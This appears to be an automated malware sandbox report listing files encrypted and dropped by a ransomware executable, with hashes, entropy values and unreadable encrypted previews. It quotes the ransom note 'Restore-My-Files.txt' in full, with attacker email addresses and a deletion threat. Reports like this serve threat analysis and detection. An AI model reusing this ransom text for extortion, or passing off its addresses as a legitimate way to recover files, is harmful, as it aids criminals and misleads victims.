Preview:	....0..6.....W.../...l..=.~.Y...'?..Z.2..A.[..@=S...>..a.}t9...H.U..X..O.U.4L.P.......?..m/1_....8.Y....).].d..w.l.u..w_..C.lM<<....G.Q..57.R.U.&.\|..MG...g.....z<..i...v5wC.=S.._..I.....d.....%..^...f.~<......,..'+..(....v@....L$.r....(m...K=3....>.......p.......rD...i..Z.?..7I..:.Y.......&K.j.mth.S.6.G..)......~.....mB.+F....."41WDal.....F...j...2...k...w)E.H...Iwz..R&.=.N.-F.........c8......:....k.....3.5.K......I..F...eIF..3..G...+...nY..O.,...7..].....#...+.4..X..!...z.OX.#.X....V+..[^.....<~.."....r.n...7.qv.t.._....5....[...\|..2....U...Pk...Pe^.C..^...H..N.........vt%...$.....ER<.x.:X......>.....q..$E.B.@.,L....Xhrx....+..0..h.Y.2..#..Z@.@/.6.Q..........Xt.4..J...>.j..I...o.v......2.............c...V.qds...k........>..g....`.>...u7.....](y.....+L...IMb.1..#..p..-......0..Z}..M.S.Do..`..ww...../y.R.hy...!..:./..s.u..F...%........+...n@..\%E.&...S.D9...aw.j.+....b...e.@.<.g.8<pa.....W..........\|N.&..QSra^....b.H...I:G...z..W1IE.

C:\Users\user\Documents\EFOYFBOLXA\EFOYFBOLXA.docx Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.881716330571485
Encrypted:	false
SSDEEP:	24:BxomKjZEm/09WOot8Wvt+BqihmRdKNLCMpvy9C3mlwbPTbtql5W3q3dbtQZj50EA:cmtm/09WOk+tmRdICgvyA3SeIl5WyujO
MD5:	56D1AF042B0F05C8D1D2DC49B470A725
SHA1:	D79D779488D083696718EA3333E299534D393B39
SHA-256:	1F42CC1A6239AADBAB7D44D3656E4DE0FD2739F953DBB8D5224FF9BF9974FBEE
SHA-512:	4108CFC2F7C253083713A7C5C36D936B700813736DCC5860B7D501B58F11D0DFC61FF56DC8C2863564B46D36980E98C4F02A4CF9395B0C8D49AB668A56551553
Malicious:	false
Preview:	.yYU.\7hc.'@6.m.t~I.#..2=.9.....5F.....<.$.5....W..Kc.X.oYU=..jAl_J.y..........B...K....,A...o..2.D...r..c.k.P#....0X.3..:1...Z.d.\|6.....,{..{.Qs..)...)E.>.K..m.]-~.....%.7...<..cxk.<...I9.y........C..i..g..Vg,...rw.S(jK...8..1.S.`.....G.}....m.(....\.G..I^.......G.....4.1w..m....R...o.fg7....\2.........NCm....]...............v.....Ms......[.=.;.oy...X......e....M9.i.R.ma.Ke\|sJ...9v.8.KNe....f@v.........E.b.9. ..c..m.%=....$.}..#v..7..~$.....!FE.&.......I....c.z.O.^........6..t.m-....-....h.....2..!.L...N.......@&..K..t^... ..e.].(.A-.....,..!.jj\....xdt....O.....}/>'..Gj]..O.....y......f..........ULl....s......V....I..v.Z.&.e.CCEy>0.=/.P.....}T.\|....Fg.(O......X`..). .(.(.....bO..e..+.7...jJ...g.}....b.F..f%&.hwjO....M..7'..]..D.m...G.c.}.@.../...p...9b.u.........,.q..m..u.-#V/6R.....V.<....#,SZ...........fXI..OZ.v..S..Qq......^+....4....j...k.".`.....0 .p...o!.....R......d..`..._...F......g..I.......>.Y.E.@.....Q$..!./D....W.-..

C:\Users\user\Documents\EFOYFBOLXA\EOWRVPQCCS.mp3 Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.841778471951683
Encrypted:	false
SSDEEP:	24:0Lu4zmF9qyRatgbLK47SB6DirGGHHGhPwZrsBG6sY5w:0K4SF9q/tgnMkirXmhomG6sYi
MD5:	FB5223A5D1D5F18322C7E1E1347D0A4F
SHA1:	AC9D98A6FE22CC3044027AF2384B241F7CA0517E
SHA-256:	5EE4C15D264C6FA440451FFAFBBD06D35BCAC937A103392824DBC7509FAA08A6
SHA-512:	6B20B7EF5459CD38E7A35FFB4432567728BD9E4584A3D3B90F4A8385F9376D367B2F94068C586ABE9A0AAA01B87B7C4C67DB99AF9B9D6654D63505D77807DC20
Malicious:	false
Preview:	...sA...Ta..0.n~...._!......U.Yo}...xY.p..4.A,.'.hV...J.e......V.~.,.%..A..3..9Up...Nh.&Un..W...)..._M.".&..j...`..8..Z..........5...B.....rM.K~...0.>.f.S\t..@...ta$..<-1x..j.K.K.u....a.@x.wHi.....(......z.. .5...~..2.=....<4...6...V..j3............t...8um..$.p.,..Y.....lO..m@...w 6t.n7.0..[.y.........Z>.5.:Rtg.._....U...$.X.'k...U....}M.3.F. }.Y>.!..3.S../.....a....j7.9,J5.S....X..... ..(=....z...fe87.U..z....g\|O_>.0.cw....x........L.T......-..Z....h] .yp<\|..8.0:.g.&...B&.c.1_.M.........b.]."..Y_A....T...........d.!.....U.....$.J....i..m.Iz.j.....s.#.r...o..4-M...c..".....U.....^...m..@..+...i.m..o........kJ=...%/...L.f..}...i .....xN.R.%...g.$.........,.$dJ..8...u>)....;2sB....'G.,..}+.1fO.......k.7<..C;x8._.S...bl.r6...)....y.&N'vce.{..8..L.......NZ.r.& A.&......pO...I....~l..^..X.`..ES...%..&.p.F....I~..X...c.-..%;.,..un!.. ........tj......d3..t...O9}...0..\.r4m.....%.q....K.8.)Z&B/....!.zw&.\.[n.y..4...q.......\ M.0p..uJ...t

C:\Users\user\Documents\EFOYFBOLXA\GRXZDKKVDB.xlsx Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.854883722683958
Encrypted:	false
SSDEEP:	24:dw60nj5ezoRY0DYI7n+nJqo7F+J6h9nI3ocJRudEE23OGaQC7EZ758GeT43XQd:dw6YcsRzz7+JqoJ+s853udtoY7w75/Tq
MD5:	612B50B51C53E08DD4ACAECD75EFF897
SHA1:	2DB6A773E9355040CA9B448E1780345853B7B960
SHA-256:	7FF6D60F2D37F4F61833909CC09CAEBD89ACC7AE38B21956BAB49B996EEB3AD8
SHA-512:	DAE7DAC18EF48A48104D8CB3EB8682D96474632B2E6219DE40220C1345529220D2BBEB874B7FA4CBCBA12480677D8ED267597768FF860951B9A45FB7D14BB8B9
Malicious:	false
Preview:	..Lc.G..=...8.w...hdq3D.(....nu.}...;..>7.6.f...M.].......'R......ZMH.y..je...\.'#z....Q.=....^;.#H.sH.NK7T........_..gh.V..}b..#..U^......]D/-..~.....}..g.}F..C....T......s...)mS.......j..."..........n....3.Z..^N...2g}..=..o.#.d....h.T.v9..5.z.\..a......:aM4Vmm....I..s..c...)......^.~.u.Z.....E.c!....}...~..q...Xv.?i.hW;b...@./]V....}g;{V..q..Pf.-...."....X.[7 ...o...@..)#.-..Y..2.y=g...k...Jw..$l.X,(......8.%W.Q.A....qk.2.+H.Q..A.q~.(&$#.un..%...(H..T..o.r.....F.U...8`#f.B...=...RKT..w..n.El.o....ZY..../...N3.......FI.^.......:%i.....y.Y8epx......6.r..wL...xy..Qj...&yDL.4[....&J.G{Kc.e.#...X....XK...7.......LV..7.~.z..n.C............QU.).........YC.U.....u.\|..........c....M/!Af.... .,.(m.........]Zm..v\.&.......T..VgP..L.G...l_..:........._.Dtr.`s.e."...a......'.c.-.F....68H......e.... _w0..>.sN....[$....p..4..}iY.W...f...,..?A.Agw.........g......4.A.za;..R.b........O3Y...Nw.S%..b.`#...q..,#./.Mo"y..../lf.N.>28.h.:{..,3

C:\Users\user\Documents\EFOYFBOLXA\PALRGUCVEH.jpg Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.85544193936183
Encrypted:	false
SSDEEP:	24:tvpzhDj43tfCEha/cdMtQzg8qiX5Oidcc3Zm28bgEZfEJBLc9mHa8V/h:1H49fCEha/EEli5O9qm2xSYBI9mHaw
MD5:	AA9AE2FC51A77B0FE0B0E17687985630
SHA1:	C3A814174FB5C12A4E9A419E6063A0717ACE054E
SHA-256:	E219636FF65AE6E8F99B61948843858781EC96FFDFC4F63DCF01197C73D7B8E0
SHA-512:	6F4E6E415324446000580F7A110D214C92CFF30ECCB26AFB7A3E8CD554B0CD36CF7A11769BD0A885851A961D9B3B1EB302DA4B2A68B30E4C0BBB335D6FDB32C9
Malicious:	false
Preview:	-.R.>..S.^.M..<....".....i...{JZ..X.`#...g1..2.V.\....#.L....,...!{....V.C.Q&..,.OM...;).2.m)._....<...#1.}`.....{.....}..:<..^.f.... ....b,..[.?9=....6D...;%.T.#.lvW~..Q....\|.T7....t....?..."E.+.g&......_P!S..";...K........wV.x.}^.......s7q.w...u.j......w.......<H...B3....e..s.h.4...p;....w.u....Nm...1....~M.$..X../..esz.....L./.4.HS..Q.....1._./........Z....J....0T#.Z........C...f.K....Kc..{.\b....a.I-_...j...........dj.g.A....Q.x...w.Q...R`-....0.p5C.P>....A.Xe.R..F..{...j..o?j.....3\|./E.Ej..S .o.@n.n(m.4.b.........)........nC..u.M.......hO..6&?....-.>.W......}..Fi..TQ.zu[Y.:nI@..f.6P[......5TQ.E.#L.He....}N..+..\........:@S....7._[..G...<.a.......4%..j....E..5-..........{...qh.z.i*s........q.%#..0.......z......E.d..)E...8.1...........W^...f.ON...ln.c=.X...QPZ$.hu..Tj.`.N.....5...g...3..A..W....c({.Q....0+i;........U...H......U.....Y`9...A..in.X...E..%.t.z........-.p...V.L..qJ@2. ..f...E.'.C.l;.M...%..$..<...%"b.c.p..p.2....

C:\Users\user\Documents\EFOYFBOLXA\Restore-My-Files.txt Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.000222043072003
Encrypted:	false
SSDEEP:	6:n7CSfmXy7MZATkL3NL+2DFGIwBfriOukL3NUFo5xCoQYMEb9n6bZEIseIOSTFqp3:xeXGMZATH2ZLqrxu/FWlQs9UZEIseIBC
MD5:	ABF79FB7AA0DC348988B94381293599D
SHA1:	042DC3C6489BDBDE430520A9D732F2E37CDD236F
SHA-256:	8A75D8A4E4012A028062AB49765F6400F9F729BEB92008A7E8B37489CFC180F8
SHA-512:	E9B75D1A4F9B93EDC368114CA13D2AE9836479941CDF921EB08769F7E2A3E7AE6F770A048A0DFE4F2BC7FD0AE37D4CFD9ACBD61EF0C59B72B0FFC4E3B494CD5D
Malicious:	false
Preview:	!!!All of your files are encrypted!!!..To decrypt them send e-mail to this address: Unlockpls.dr01@protonmail.com..In case of no answer in 24h, send e-mail to this address: Unlockpls.dr01@yahoo.com..All your files will be lost on Monday, January 10, 2022 9:36:01 AM...Your SYSTEM ID : 57802C8E..!!!Deleting "Cpriv.Loki" causes permanent data loss.

C:\Users\user\Documents\EIVQSAOTAQ.jpg Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.846084154384698
Encrypted:	false
SSDEEP:	24:+sLH1cKbinu5zEx0vGUENY+FPvOnCwQv4yOgTbjocYixTY/QA9dL/tC/:LK7uOGHENXFunCwQAyHTIc7xU/r7tO
MD5:	B5575803558A5D063A8EEAEB3F1AD117
SHA1:	CE8F0AB9E34DA03561F0E85F8BC9D26788422E2B
SHA-256:	8D73F07141A62298B9F758D074706179982776165E30FC938614FF77C07482D4
SHA-512:	45DFB72A8F3F04F7645BE9612D17FC056E11BE9AE42EF9C31B96BA68782F6ACF166F3CD91D74EA39B24BB60C54F91AE8447CCE8989B101162C80EF5888006065
Malicious:	false
Preview:	O..&BaN6.6..;...........Cs.K#=.$ ..RMA3P....h)&...b.....L...a..@..[\..(.1...."...pB. ...at1.HX.i0....]..9...j..5..N.G$..b....e...p.../..U....z.G?U2.........L#..1.i.@.y.R.&K O..\0...Z.?.Xrc.M.l.v.....d...2L.Sl.../...X..........BF..TT.1....a(#.3..0...../..q..vA....l..=.......OApqL.U((...F....aX.mc."..Y.d.9....K.Q...O...8Q.}..-.....qU.d..7.H../....K.c..L=.}3.........=.[..Qx.)....r.....2?...~e..p7..T.!.\|.d..!Q!'..u;uC...A.8Z..r..P..t..;d.; .Cc....= i...x.X.4....@.?.._....m..}...]=.D.#...r.....M..X.....`;.-S.....1........n..N/F...."++.g;.Q...$.r.....\|....$.^..yf.Cz.3...VH..c..[..`._e.)^...A..j..8.IC....P.u..8..:o.V.9G.%.....b....\|-..).`T......d.....e..Z..q...fr....90{....q.+....L.R.).k.....C2....'N...X0.usQo...Yn.kr.0..9......d..iP... 8.nf..o..9.......A.W......]....YR...W..E..S.7.....9.9hj.?_#.P[Q..{v?.....F......O 9.f..0.dqo...t....s.......=.\|.?m3W....f..,....58[h..x..(9..k.u/......Q<16.2.BY..Z.%..u....{..S.v..'N.....*<$..9.....&.v/.

C:\Users\user\Documents\EIVQSAOTAQ.xlsx Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.838281886240365
Encrypted:	false
SSDEEP:	24:zqcWz4xkdiB3YSChFCfolQ8J0qfsP83mqp5Er50AOY19cpfv:JHr6SChFCfz8XEANqr5rqn
MD5:	D225D424415E1C0808B176A81D0D2964
SHA1:	0BF49921E2BB6C54133FE1370251AF5DB106A681
SHA-256:	6D0E8C09A8F04C70713F50C1F02A58B6AE12332C0ABCCA7668EEDA7C12C6B7BC
SHA-512:	11A08C9FA7B0E76A6F13867B606BA61655F17514572BB6D1257F33B92845BD1341CB9D34706F6893FC8E79692EBA9701ABA3EDDF81F5175815463A8290D3C594
Malicious:	false
Preview:	......U:..L...'.... 5..d..H...h.-.a..YP.py....m....4}X....`..&P.....[D.C5O..r..@L.q....2....P.#R-........z.;.Q..3..x........M..E2..\...$...L......qc.Q>..M.........G...[w...Qj.....P0g.0..B... s".!S@cF...O...z....\|.?..4..y..~..w.M......YL.e.>.h ...}.H.}.>...}T..#.Y..v{}+.........$..qF.~........c.E....[..5..`........C......#..B...&....}....3......S...i...P.'$......1m..?..Nh.r..G...{.R.....M..eYi"G.9K.L07.1.\|.0$y..R............?..e....Y.>N4?a..9...=R..F.{.....B...5..c.m"/..T$.e..xo..g..3<f.q"....S......N.Q"'....i....,%N.k...[N...R'2yC.3e....}.K.V..7(..'&"..^0.4r..h>..#..7..V.....F....Uw.p.<2mF.Lv.T$Gq..X....Q..w.`'.7w.R.'...."t1}.~......O...P\N....)..0Ep.7..#O.c......./&.}f[.i....m.C.....l.9.4......g[.x..4..#...6.j..=.RE...9.S&.E`...s.N".^k.4...9.U.......?.#.@?....T.p......7.....3t"..z..u....`=..W C2.....f/D..}K..U..d.S....>.O.YQ..t....<Y....h.*Rn....m...~....q...s...te..[.L..<d....t....{......b.....Fl.hm.a&.1...0z_..4...;...G.....r..G...

C:\Users\user\Documents\EOWRVPQCCS.mp3 Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	PGP\011Secret Key -
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.835211730057372
Encrypted:	false
SSDEEP:	24:1y4I05apvbLhOMr3FsmZxtCxsgL3jIpsy1+xcMbx8UQcSqzO:1y4IoizNBt0JwMbx8UsqzO
MD5:	0DE96839A0FF738BB0A16C0452ECBEC0
SHA1:	20C6C96F83716ADD19983E5DA8AA663FE4BC7758
SHA-256:	A344F1E9FE2637973DBCCF9C78FE61ECA694F5B0E1AFF9B7A68B5694E03DAAAD
SHA-512:	1B53B67FE9779E40664502AE10FF3F1C045E1BD0591FF48C36FE496EEAAB4ACFF8E82DB8E41710673AE018DA951BA0C0922E8F47EC800C3F7CEA800F286212EA
Malicious:	false
Preview:	......T..L..8m...`x{g.Y.....nW...Cn.._F...s..8e..&.......5.ePOc\8.....CTL.E.Q.....r6..zg.e....9H.....M.E1..].e..s.]..1....@..(.?P...j..>P.=0v.-.;.X.MZ2.NM..Z.&..[.k...e...L}...&..w...'.j.l~]e..Z.Z..}....\.o.s\|.[....WR..b...o.,.KBo.]..>....M..M.....T.....x..)..".&....{mG(.\|6kC..m@....=..I..N....']f...4..&.~g4.....<.....\|S.Y...A....q.1...Cg.n.[.......T{Q....F.qMY.z..MR.0..x...bi~+.]p...@....{.Rh...`0#H..@.......Tf.wwO~#n..3.W.a...B.sj...DP\|.\20...7........)FW..b.....OV..RK..W.DUhl.NEA...P.......j/..t.....B..........Y.....n..61q.....9.B..w..E$W.p../..Y.:s.......j...m..^............/.j=.Z....\|.3c....e.U......b:...+.6...4c4B...IUt.......&....Y.f.T.........eN.0...)TZe..E.e....eC.E[4$dR...C."....#.N.2f...E.kH>.a...^_....n.W.c...?9.R.hm.Q.....tV.....T..s.kG..7....=..r.b..(..l......}^Y....;..H.......y...%U..2...R.g.).e9....>uG....v.O..D.#......v.. ...M.../.YuE...\|z..'.TG.....A.#d.I0Zp.....kH.Q-.]3...................y9.......q%S....L......../.

C:\Users\user\Documents\EOWRVPQCCS.pdf Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.861878660765252
Encrypted:	false
SSDEEP:	24:z3KythCxFfE6bwe+14JVSmUqSdqnvtfJmwIftj:z3N34Fc6UeNJwmUFdW8
MD5:	0F54244A4A679A14664D9C6C91FDF955
SHA1:	28B673DBDDD647176791BB2AEAED24647477A31B
SHA-256:	ACE4BE0B8D4E6457159706BD71172EBE93AE0B3967867C6BFA816BC0AEB1EB2F
SHA-512:	143C3547CB889A5A8C995D784D244CB609C2852298CF0835BA4BE5DAF59EBB58811D830D6627B0BEB8CA3DD9D61F322164E3E91DDF4A8C174508368D7610F811
Malicious:	false
Preview:	..f #..d....T..2....^q....t...r...e....4..4.Z....QIR.#/{..+k..p68>M........._f........m.n...,F....vP.=....\|@..{.......Yl.,.d..T....t]..%.?.....L.f.R.O...@.;......>.n....9.RN..Ab.....{qj.F.?5\l...1Uv....q.......N%.......u....1D.....D[.Oz...../.......^m..+.r7....i....l...d. ;....5.$.ZY.......T.....h..Q.P.<..p.....Q..'i.S.J......v.}.B2.X.+..Sye..6@....QV./D..7..'.d...qy.9{...vr...\}...t....Q.:..D[F\^.t..9.....;.[ku.c@.'.....}..S.W..+....Z]F.uT...Q.~ju.}.W..:....:...?K..q.R&...H.}5.........)...,C.`.0k1H.:....e.'O....8.R.$8J.5..<..u..8Y.P.....0.Vq...i.M...o.>..M...1.Z.P..ka[..?...1b`M....S;.KJ.{..%Uvn..5....x_......Cm..q.....Y)..:..'.a...x3..p...._..U..r..S.T..`...O....=..VL.f..5...3g.A.qBH....v....f~Tj..p.:.....$..(=.v.&L<k8.."Otb.e.bc........x.."p.1. ZS..........!....1...Qx......}.y..BD.C).W..E.\.e..ar......H...K)T4h@KAN...!....Qd.]=k.mj.he{.r..... qc...tn..,.4..Q...t..-.`.$..Ad..-.....[.b.U...$%...gu.Vs.z:4S.m..*..;....t.$..n.s...}G.A...!.NE....

C:\Users\user\Documents\EOWRVPQCCS.xlsx Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.8517936473941665
Encrypted:	false
SSDEEP:	24:H/UauS15k5VYHJus75pJ6ArmFOgjbmwALf0FM4HT3L8DaYQlLrThXS6VBnH1:H/UaJnAsVaAqFDjav0FM4HTI+Y4rFNVr
MD5:	6B4BC59C5FA7E7E6B603AFC87C444BE4
SHA1:	074B4105773B42D5E3EC0E7754F37326EAFCDD41
SHA-256:	62A1A29ABE464E00FE52C64FFAE3CB9312FA21D99B53A26F1A864E9D42E0749E
SHA-512:	EC28193847C532F3560980949C417E3F55A530A6687BDC53B20983F0B02622E349E5788E049B93A7A56CFFA29592E7B86570F84A03F6290590A4952256FA1D13
Malicious:	false
Preview:	7._....Uy}.^>...M..IB"..1kh.A..G..C.7.@.~.$..!.2...v........(6.@....&W...M..=.._...p...68.S.)mA@k.p.......h.h...}.&ad.!W....q.;.L.a/..`6.......V.New..S^;.V...w.-..._.Yq.....+.rS..kj6....s....e.pG.2..4'sv....K..6.gk^..cd.....(....~..fV....c..u.{..PQZlK>3.x..."..6,..nK...>x.....<..u0.1....QH....D...7'.A1..R.U.d$...S.....k..-..h.^n....]..-.".l.....wQ...Y..J.~.G.........{m.P..."..V.R.4(...B...&.>.>..1+.YY..zq..F...l.D......^..4[.ZR+.\^...{..].#}.WpV.!..u.^.<r.q.a]...z......`V...u.#9..,e-.u#....0..]l....q..=.y.J.....C.....$....RK^\e7..g....t.U..!..x&.>....m. ......kT..%.2CvjG.vR..S..._.Ts....fv.....PH......L.p<...y.c.L^..wX.. ...}..Y...[.h0...TwQn1.k.....}..6e.2F.-....l.).\|..)..I?8.....r.,-.~N..r...u...1.w...C.z..k.^.-.....y.]..t.R..Y#...C....0"..1....,.EVU....g{.Qs...J..9..........bU....V.....lG^u.Wk...j.........E...Z...Q.0=......OH...).......u.L.......t.O..........e..x.b........(.v%.x....B.iX{..2......;...iM.J.R..R3..E

C:\Users\user\Documents\EWZCVGNOWT.pdf Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.852203820521216
Encrypted:	false
SSDEEP:	24:HZlHe+jWM/wCpPv1i6deIEk7lccNpW4tZDZoLIDfeVJuRU3Dz5edgl85qQCJ5zCI:HD+TuPv13lzfosDfHYJeilcqQWz
MD5:	9FEC2D6AC44FC2A39312336728E07225
SHA1:	0DE0D0724FF4BEC8631BF46E88D081EEEEDD14CB
SHA-256:	07A79A856AD4A638F3B374426EEF071C27B4E48BA9A2BCEE7116A24D4178C636
SHA-512:	60BDE54730797EB386FAE58EE46118726B52A3AA96EF87BFFD506D0E73D2A45378D6A94DBB2C5771D360D004ED2CEBD3BCF4EB995021DB36B2405C99295A341A
Malicious:	false
Preview:	TOl.p.....$....4....1.........<._7lA....N..].a....oPN..."7.LS+....u.<MY...pD..gA.w..,.....<.....as}...D%.N.=..u\.........lB........U.#.=T.....".+.jZ..$.f...C.....G.a...Y+..k.L...Hw.\|a..i..fz.i.x.....4.b...$.d..+o...f.l....}&.>.=...}...5}C`w"...R...n({..}34\..6..$..G...(.o.{......Jw.&r...9>....d.=.F.CL.;...f.'.".C......^.......5.'&....S.g..E_c..91.K....2..I....S.^......._m.......'.l.D.dd..hW......V.^........S............y.?..........."Z......8._...\...(.g...".d..u...S.....:.Q.......V.8+j..n..$q......-.r.............@"...Q.S..g.o..P9.U..F....`...1~3V..Tg...v...}......G.L..t...s. BuX......:.\<.ct....B....Kzv:_t.]..1.G9+..m.:...O>NI.A.......7...0.....j.:8nCOc..;e+............<@.q......,l....o5..[.......vRo.#.x.s...n.X..Hpm.y`.....Z.m.uu......4e............j....89QT).~<.05..IU\|....G.#.y..m..(BG.K...x.?...i.....^.45.5..)'....._^.+.^5.)..&.k.....N.u$.%}..9.._.U.%.H{...-..J......S..<%....%.....r~.A...\`G;.:.9{zx.&...1..HAu.....

C:\Users\user\Documents\GIGIYTFFYT.png Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.847227542230368
Encrypted:	false
SSDEEP:	24:rIptReNFOH6n2ju7X1saydzlhR5pQsVJYBPJcG72vnP8OHiAOaApkM3:roq8a2ibylR/QsVJYBSGSnLCvJ3
MD5:	B7011206DAC6BFAEC8E4E60817CF0E13
SHA1:	6DE3A117592050BDEAA3164183B13506527324A3
SHA-256:	3E1FBBE846C8D1B0436CACB29916D7B74AE9786AA7347B04ED69C60C95BF55C1
SHA-512:	C5AF5215343D7F9758B71D2532D560C1A2E1012B46AA7A251209B21D46BD7AF6F76D162B4C75276548D49558C164AD449704D3BADF3B4189DB39298B44593BC6
Malicious:	false
Preview:	.........l{"eH....o....JkA......W..Z.)g.^....e.A.a$.&t..p....BY...TV.0.....,..@...tA?...4(....&.BK].m.:`.c..v?. .w.wS......X.'kULa.]N..eE^....[.r.z......(...Ycl.ck~.D.='....}..E>..t...s......w........@)j..Q}h...V>.rL.Tu..:3.(.9^?S...5Ea...A7Fqm4 &..I.1..B-.5)......./.....S....E.G"...Te.Q(}..#,1.8..8.....P....{.-..}l.{....U.. ..xFY.N..n.u....B_v..=......%.eu..5.}.q.....E....D...#.W1.g..U..FC-.)Z......,~;k...0...}...1.j.h.`..6.u...5y9pD..jo-...O6tg.]iP..^;j.u...h.....4.."=.F......[....OI~.#..y!N...\|!.gv..^.>V=v..2.3)..dP..@.>..,..X.0...I......?n..nhY'v.3...4Ne.>F.ev.x..d....N..,.S...2+Hi.OT.....4v.;<.@.Z..5..\..o..M.9[.#...!..~.\..%..O#.?.....Fm-....7.g.:Q.......%d.z...D.b[.....K~.k.q."z.s....x......).[.X...:.f.%.A.."...i`..OA....._.I..3..<o_.U...^.W.,.:..;..{.t.g.k.pIceR}..R,.p.D.s..,...{s...&Z.L. ...`..6-.;j&.....I.$...qK.vSa..+$o....1.m...0.y#e...sd.(\.Y\|o...k\|.f...j...q....!.m89m.]P..x.u.H.F...($Z....>jh..^......O....;...>."...GMOFZ..

C:\Users\user\Documents\GRXZDKKVDB.docx Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.839002099691348
Encrypted:	false
SSDEEP:	24:luUlqbUE/yGyL59hJ17Zvu2wJGcWj9DMjAv50neZXYg6OUjZ+F+moj9+wZ:IKy/ylLVZvJMWhDnh0iXUZ+FFE
MD5:	DC59988C1B19B4280C558C81D2289AED
SHA1:	B8BAD0F38E57386C622FCECE532091F533517093
SHA-256:	04117AEEF4E9305C0087837810F77C46ACCAE25FC75875848A8164A27CD2C96D
SHA-512:	249F12F6C7B803B4ADAB59EA932C2DED639586E85E687E0AC0B70686EE1C35E467D07992AC68682430991F3C0098C6A61D92F253E67432A48636F579725736C6
Malicious:	false
Preview:	...j......`.t.t>..K....Fc.4...c..X\...C.......^D......vW.G......~r....p(;VR>y...%p..S....3HTL........5I.........Um..r#,.....(.Z.g..v...\..m......b....G.......+..(.g.NE........./.]i>.V.$C.......ac>T.z0.?.........78...c.....Y...N@.O.K.....n..3..).iT..I......=$...4:..o.. Z....Zc_[.}d...xD..`..F...5]:.....!.z."..4......"..C...r.....b.C.."..k..5..L9...N..._=..C2..F.SehZvu..@G...saG.....S..............'>.iwJ....$Q..(.Bl..h..7p....A...\.9.....j.,vDR...Q.......g-.+k, %T........1.."..p..R.....m(U...j.(.h.m..Q..%..9.-.........f.Z.@Z..}.V.iR?j.5..?.m.my...0.@.=.......ti.....D"\|......p.%.X.!.C.....[.Dm.+$...n.~.}...)..yp%."g.b.*758d...,..g.`U..?....m.....=.s.`..t..J.k..........)....H..".e..]...;..Z...!..[....\|...c.N.r.)."p.$`.2.c....`...r.........\|X,.}Ag..y.\...I.jzDb.ja.2k...]..3<.....j.Z...lz..c....s......]0Q.....~17}....{V.@{`..2..$)........I.>..(....M..H#....jTc.}..g.....;z..Hb........c..a>u.~?(..z&.5....ckRH.'.z.iXE-fUE{z..`......JW.

C:\Users\user\Documents\GRXZDKKVDB.xlsx Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.843192806666228
Encrypted:	false
SSDEEP:	24:3dlKpHmpl800lb+oM4YE2Crlc2I6yPwLRqlKjngzkJhFCf5jgdBKz:ryGpR0lTFiCrlcbPwLslKjnMkdChEW
MD5:	19780764464C158D57F1C9B0FF644B6B
SHA1:	31848E4EC2C39F13D571685D16A276592EE7068D
SHA-256:	264CE3B29FB2A390E382A5DBFECBF16549CFC323657AFADF7A000A5AF600DE47
SHA-512:	1E9E940F74334D8C71E8C71C872FF7833F57ACFA38B1D6B6E965E0CE11C72B64CAEE6663FCF53C59DFAC433769B4D6EF4BB4C802F34615A349222974DD6213BC
Malicious:	false
Preview:	..1>D..'.Vn.8.=...8S0...8..M.Y(.U.....gTP..2.............$0.P.@...(..3q..!k...=...f...$...h3.rcc.+.NK....0.....B....%~">.,1zW....4;..W..E{8r......t.....6.NaV...h[..U.~.I..B..F..Hs.Y.uJ..M@E....#Y....)...!...lg.+.....T....O[..b...U..e...f\........5./.1.xp.w..,....KJ.FC..R..........x..f..Q.4..k..A_.Y.K.2.....RI9....W...<...9..a..>.m%...9.f.}...0..uln....CpXQ8.....s.....5.H.5.....w.+.)n..^..kIs..LO..B.jK.!.<#.B..1\|./.k]..A0T.....V..wU.'0=.T.3.bx..z...........n`.I..o..<y....z.%.C#>F;..S...a....]..d.2L._;.3....E(_f.U.....]p...\SL&..k.....p..u.....[.Qg.=..xC@.0f..f\|.;NJk..38..v..lw)..-.D.......X..t...%.Y.I=..km. ."....9...BYO..O.dL.C/*..W.....y.W......hY........ze.3M.wq...%..M.1.....m...{....2/m.6..).Z...z....D.....".0...A....@.Mt6..M&..).q.8......M6..p.......M..t..DuJD."V.G,....U^U4vY.0};).0.,;Y.B.....Q#.Y....H.Z>..r.p.>....3.6.a..G.'.W{..4f.dN#.x..sM..Z.i:}.#..........$.[...Y5.&.q.!.n`..P.G.,8..W.~-....1.O5...#..[.4.L.y.S.1...}VAr.....

C:\Users\user\Documents\GRXZDKKVDB\EIVQSAOTAQ.jpg Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
